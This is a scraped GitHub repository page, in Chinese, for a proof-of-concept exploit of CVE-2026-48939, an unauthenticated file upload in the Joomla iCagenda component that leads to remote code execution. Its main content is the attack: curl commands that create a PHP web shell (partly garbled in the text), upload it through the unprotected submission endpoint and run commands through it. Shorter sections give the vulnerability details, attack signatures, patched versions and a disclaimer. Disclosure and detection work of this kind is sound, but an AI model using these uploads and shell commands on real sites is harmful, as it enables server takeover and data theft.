Polosss/By-Poloss..-..CVE-2026-48939
GitHub: Polosss/By-Poloss..-..CVE-2026-48939
该项目是 Joomla iCagenda 组件未授权文件上传导致远程代码执行漏洞(CVE-2026-48939)的概念验证工具,用于复现和验证该高危漏洞。
Stars: 1 | Forks: 0
# CVE-2026-48939 - iCagenda 未授权文件上传导致 RCE
## 概述
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2026-48939 |
| **CVSS 4.0 Score** | 10.0 Critical |
| **CVSS Vector** | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| **CWE** | CWE-284: 不当的访问控制 |
| **受影响版本** | iCagenda 3.2.1 - 3.9.14 和 4.0.0 - 4.0.7 |
| **修复版本** | iCagenda 4.0.8 和 3.9.15 |
| **发布日期** | 2026 年 6 月 20 日 |
## 漏洞描述
iCagenda 是 Joomla 的一款热门活动和日历组件,它包含一个未授权文件上传漏洞,允许远程攻击者在 Joomla 6 站点上上传并执行任意 PHP 代码。
### 技术细节
该漏洞存在于前端事件提交表单的文件附件功能中:
1. **缺少访问控制**:提交端点 (`index.php?option=com_icagenda&task=registration.submit`) 未强制执行身份验证,绕过了“仅限注册用户”的访问设置。
2. **无文件验证**:上传的文件会保留其原始扩展名被保存,且没有进行以下检查:
- 扩展名白名单验证
- MIME 类型验证
- 文件内容检查
3. **直接写入文件**:文件被直接写入 Web 根目录下的 `/images/icagenda/frontend/attachments/[filename]`。
4. **PHP 执行**:在 Joomla 6 中,上传的 `.php` 文件是可执行的,从而导致远程代码执行 (RCE)。
## 概念验证
### 方法 1:使用 curl(单条命令)
```
# 创建 PHP shell payload
cat > /tmp/shell.php << 'EOF'
&1");
}
?>
EOF
# 上传 shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# 通过上传的 shell 执行命令
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
```
### 方法 2:使用 PoC 脚本
```
# 导航到项目目录
# 运行 PoC 脚本
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
```
## 利用步骤
1. **识别易受攻击的端点**:
https://target.com/index.php?option=com_icagenda&task=submit
2. **上传 PHP web shell**:
curl -X POST -F "jform[attachment]=@shell.php" \
"https://target.com/index.php?option=com_icagenda&task=submit"
3. **执行 shell**:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
## 影响
- **机密性**:机密性完全丧失 - 攻击者可以读取所有文件
- **完整性**:完整性完全丧失 - 攻击者可以修改所有数据
- **可用性**:可用性完全丧失 - 攻击者可以造成拒绝服务
- **远程代码执行**:服务器被完全控制
## 攻击特征
基于真实世界的利用日志,攻击特征如下:
```
# 步骤 1:上传
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# 步骤 2:执行
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
```
## 修复方案
1. **立即处理**:将 iCagenda 更新至 4.0.8 版本(旧分支更新至 3.9.15)
2. **替代方案**:暂时移除或重命名 `com_icagenda` 文件夹
3. **注意**:取消发布该组件并不能防止此漏洞
## 参考
- [iCagenda Zero Day RCE - mysites.guru](https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/)
- [iCagenda 官方网站](https://www.icagenda.com/)
- [Changelog 4.0.8](https://www.icagenda.com/docs/changelog/icagenda-4-0-8)
- [CISA ADP 公告](https://www.cisa.gov/news-events/alerts)
## 免责声明
此 PoC 仅用于教育和授权的安全测试目的。未经授权访问计算机系统是违法行为。
标签:CISA项目, Maven, PoC, Web安全, 应用安全, 暴力破解, 漏洞验证, 蓝队分析